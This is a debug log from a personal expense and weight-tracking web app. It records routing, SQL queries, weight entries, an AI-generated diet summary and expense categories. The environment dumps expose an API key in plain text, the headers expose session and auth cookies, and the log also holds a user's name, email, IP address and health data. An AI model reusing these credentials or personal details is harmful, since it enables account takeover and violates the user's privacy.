    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T03:41:25.480Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "The day's intake appears limited, with a focus on supplements. While the protein from the whey is beneficial, the overall meal diversity seems low, potentially impacting micronutrient intake and recovery. Consistency in workout attendance is a positive, but dietary variety is needed for optimal muscle development and fat loss.",
    bad_points: [
      "Limited food variety, with a significant portion of the day's intake coming from supplements.",
      'Lack of complete meals makes it difficult to assess overall nutrient balance.',
      'Potential for insufficient fiber and micronutrients due to limited whole foods.'
    ],
    good_points: [
      'Consistent gym attendance 5 times per week supports muscle development.',
      'Inclusion of whey protein post-workout aids in muscle repair.'
    ],
    suggestions: [
      'Incorporate a balanced meal with lean protein, complex carbohydrates, and vegetables after the workout.',
      'Add a variety of fruits and vegetables throughout the day to ensure adequate micronutrient intake.',
      'Consider a balanced breakfast and lunch to support energy levels and recovery.',
      'Ensure adequate hydration, especially with early morning workouts.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with some fluctuations.'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T03:41:50.402Z server-connect:router Serving templateView /weight-trackor
2025-12-17T03:41:50.402Z server-connect:app Executing action step identify
2025-12-17T03:41:50.402Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:50.402Z server-connect:output identity: 1
2025-12-17T03:41:50.402Z server-connect:app Executing action step restrict
2025-12-17T03:41:50.403Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T03:41:50.403Z server-connect:output restrict: undefined
2025-12-17T03:41:50.403Z server-connect:router Render template weight-trackor
2025-12-17T03:41:50.403Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-17T03:41:50.623Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-17T03:41:50.623Z server-connect:app Executing action step identify
2025-12-17T03:41:50.624Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:50.624Z server-connect:output identity: 1
2025-12-17T03:41:50.624Z server-connect:app Executing action step restrict
2025-12-17T03:41:50.624Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:50.624Z server-connect:output restrict: undefined
2025-12-17T03:41:50.624Z server-connect:app Executing action step custom
2025-12-17T03:41:50.624Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-17T03:41:50.625Z server-connect:output list: [
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-17T03:41:57.599Z server-connect:router Serving serverConnect /api/health/manage-weight
2025-12-17T03:41:57.599Z server-connect:app Executing action step identify
2025-12-17T03:41:57.599Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:57.599Z server-connect:output identity: 1
2025-12-17T03:41:57.599Z server-connect:app Executing action step restrict
2025-12-17T03:41:57.599Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:57.600Z server-connect:output restrict: undefined
2025-12-17T03:41:57.600Z server-connect:app Executing action step insert
2025-12-17T03:41:57.600Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'health_weight_trackor',
    query: 'insert into `health_weight_trackor` (`created_by`, `created_on`, `date`, `weight`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2025-12-17T03:41:57.601Z server-connect:output weight_log: { affected: 1, identity: 13 }
2025-12-17T03:41:57.805Z server-connect:router Serving templateView /weight-trackor
2025-12-17T03:41:57.805Z server-connect:app Executing action step identify
2025-12-17T03:41:57.805Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:57.805Z server-connect:output identity: 1
2025-12-17T03:41:57.805Z server-connect:app Executing action step restrict
2025-12-17T03:41:57.805Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T03:41:57.806Z server-connect:output restrict: undefined
2025-12-17T03:41:57.806Z server-connect:router Render template layouts/main
2025-12-17T03:41:57.806Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-17T03:41:57.810Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-17T03:41:57.811Z server-connect:app Executing action step identify
2025-12-17T03:41:57.811Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:57.811Z server-connect:output identity: 1
2025-12-17T03:41:57.811Z server-connect:app Executing action step restrict
2025-12-17T03:41:57.811Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:57.811Z server-connect:output restrict: undefined
2025-12-17T03:41:57.811Z server-connect:app Executing action step custom
2025-12-17T03:41:57.812Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-17T03:41:57.812Z server-connect:output list: [
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-17T03:41:58.022Z server-connect:app Executing action step identify
2025-12-17T03:41:58.022Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:58.022Z server-connect:output identity: 1
2025-12-17T03:41:58.503Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T03:41:58.503Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T03:41:58.503Z server-connect:app Executing action step identify
2025-12-17T03:41:58.503Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:58.503Z server-connect:output identity: 1
2025-12-17T03:41:58.503Z server-connect:app Executing action step restrict
2025-12-17T03:41:58.503Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:58.504Z server-connect:app Executing action step identify
2025-12-17T03:41:58.504Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:58.504Z server-connect:output identity: 1
2025-12-17T03:41:58.504Z server-connect:app Executing action step restrict
2025-12-17T03:41:58.504Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:58.504Z server-connect:output restrict: undefined
2025-12-17T03:41:58.504Z server-connect:app Executing action step single
2025-12-17T03:41:58.504Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T03:41:58.505Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T03:41:58.505Z server-connect:output restrict: undefined
2025-12-17T03:41:58.505Z server-connect:app Executing action step select
2025-12-17T03:41:58.505Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T03:41:58.506Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-17T03:41:58.507Z server-connect:app Executing action step identify
2025-12-17T03:41:58.507Z server-connect:app options: { provider: 'security' }
2025-12-17T03:41:58.507Z server-connect:output identity: 1
2025-12-17T03:41:58.507Z server-connect:app Executing action step restrict
2025-12-17T03:41:58.507Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T03:41:58.508Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T03:41:58.509Z server-connect:output restrict: undefined
2025-12-17T03:41:58.509Z server-connect:app Executing action step custom
2025-12-17T03:41:58.509Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
